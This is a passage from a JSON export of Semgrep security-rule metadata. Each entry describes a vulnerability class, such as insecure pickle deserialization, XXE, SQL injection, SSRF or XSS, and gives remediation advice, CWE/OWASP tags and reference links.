such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","id":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","name":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"help":{"markdown":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","id":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","name":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string","id":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","name":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec-format-string.user-exec-format-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SoftLayer API Key detected"},"help":{"markdown":"SoftLayer API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SoftLayer API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","id":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","name":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"help":{"markdown":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","id":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","name":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects](https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django","id":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","name":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-direct-response-django.tainted-direct-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Callable based on user input risks remote code execution."},"help":{"markdown":"Callable based on user input risks remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable)\n - [https://www.php.net/manual/en/language.types.callable.php](https://www.php.net/manual/en/language.types.callable.php)\n","text":"Callable based on user input risks remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable","id":"php.lang.security.injection.tainted-callable.tainted-callable","name":"php.lang.security.injection.tainted-callable.tainted-callable","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-callable.tainted-callable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"help":{"markdown":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html)\n - [https://vuejs.org/v2/guide/syntax.html#Raw-HTML](https://vuejs.org/v2/guide/syntax.html#Raw-HTML)\n","text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"helpUri":"https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","id":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","name":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, piped to eval"},"help":{"markdown":"Potential arbitrary code execution, piped to eval\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Potential arbitrary code execution, piped to eval"},"helpUri":"https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","id":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","name":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django","id":"python.django.db.sqlalchemy-django.sqlalchemy-django","name":"python.django.db.sqlalchemy-django.sqlalchemy-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django.sqlalchemy-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","id":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","name":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","id":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","name":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe","id":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","name":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"help":{"markdown":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations](https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)\n - [https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range](https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range)\n","text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","id":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","name":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"help":{"markdown":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","id":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","name":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec)\n - [https://www.stackhawk.com/blog/php-command-injection/](https://www.stackhawk.com/blog/php-command-injection/)\n - [https://brightsec.com/blog/code-injection-php/](https://brightsec.com/blog/code-injection-php/)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec","id":"php.lang.security.tainted-exec.tainted-exec","name":"php.lang.security.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting","id":"java.servlets.security.audit.url-rewriting.url-rewriting","name":"java.servlets.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site 